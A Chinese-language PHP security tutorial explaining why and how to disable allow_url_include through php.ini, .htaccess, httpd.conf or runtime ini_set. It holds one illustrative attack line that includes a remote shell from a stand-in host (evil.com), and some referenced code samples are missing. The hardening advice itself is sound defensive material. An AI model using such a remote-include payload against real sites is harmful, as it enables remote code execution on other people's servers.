必须禁用 allow_url_include,因其开启时可通过 include() 加载远程 URL 导致 RCE;应修改 php.ini 设为 Off 并重启服务,或通过 .htaccess(Apache)临时禁用,运行时 ini_set 仅应急且不彻底。

直接禁用 allow_url_include 是必须的,PHP 本地环境(如 XAMPP、WAMP、MAMP 或手动编译安装)默认可能开启它,而它会让 include()、require() 加载远程 URL(如 http://、ftp://),极易引发远程代码执行(RCE)——只要一个参数没过滤干净,攻击者就能 include('http://evil.com/shell.php')。
确认当前 allow_url_include 是否开启
运行以下代码检查实际生效值:
注意:ini_get() 返回的是运行时值,受主配置、.htaccess、php.ini 多层影响,不能只看配置文件里写了什么。
修改 php.ini 禁用 allow_url_include
这是最根本、最可靠的禁用方式。找到你当前 PHP 实际加载的 php.ini 文件路径(用 phpinfo() 页面里的 “Loaded Configuration File” 行确认),编辑它:
立即学习“PHP免费学习笔记(深入)”;
- 搜索
allow_url_include,将对应行改为allow_url_include = Off(或= 0) - 确保该配置不在被分号
;注释掉的行上 - 如果找不到这一行,直接在
[PHP]段落末尾新增一行:allow_url_include = Off - 保存后重启 Web 服务器(Apache/Nginx)或 PHP-FPM 进程,否则不生效
通过 .htaccess 或 httpd.conf 临时覆盖(仅 Apache)
如果你无法修改 php.ini(如共享主机),且使用 Apache,可在项目根目录 .htaccess 中加:
php_flag allow_url_include off
或者在 httpd.conf 的虚拟主机配置中加:
php_admin_flag allow_url_include off
注意:php_admin_flag 优先级更高,但普通用户通常无权写 httpd.conf;php_flag 在某些 Apache + PHP SAPI 组合下可能被禁用(如 PHP-FPM 模式下无效)。
运行时强制禁用(不推荐,仅应急)
在入口脚本(如 index.php)开头加:
但此方法有严重局限:
- 仅对当前请求生效,无法阻止其他脚本(如被
include进来的文件)在初始化阶段利用该选项 - 若攻击者能控制
auto_prepend_file或通过php_value提前注入,可能绕过 - 性能开销微小但存在,且掩盖了配置层面的问题
真正安全的做法,是让 allow_url_include = Off 成为 PHP 启动时的硬性约束——配置文件改完、服务重启、再验证 ini_get() 返回 '0',才算落地。别信“我加了 ini_set 就安全了”,那只是假象。











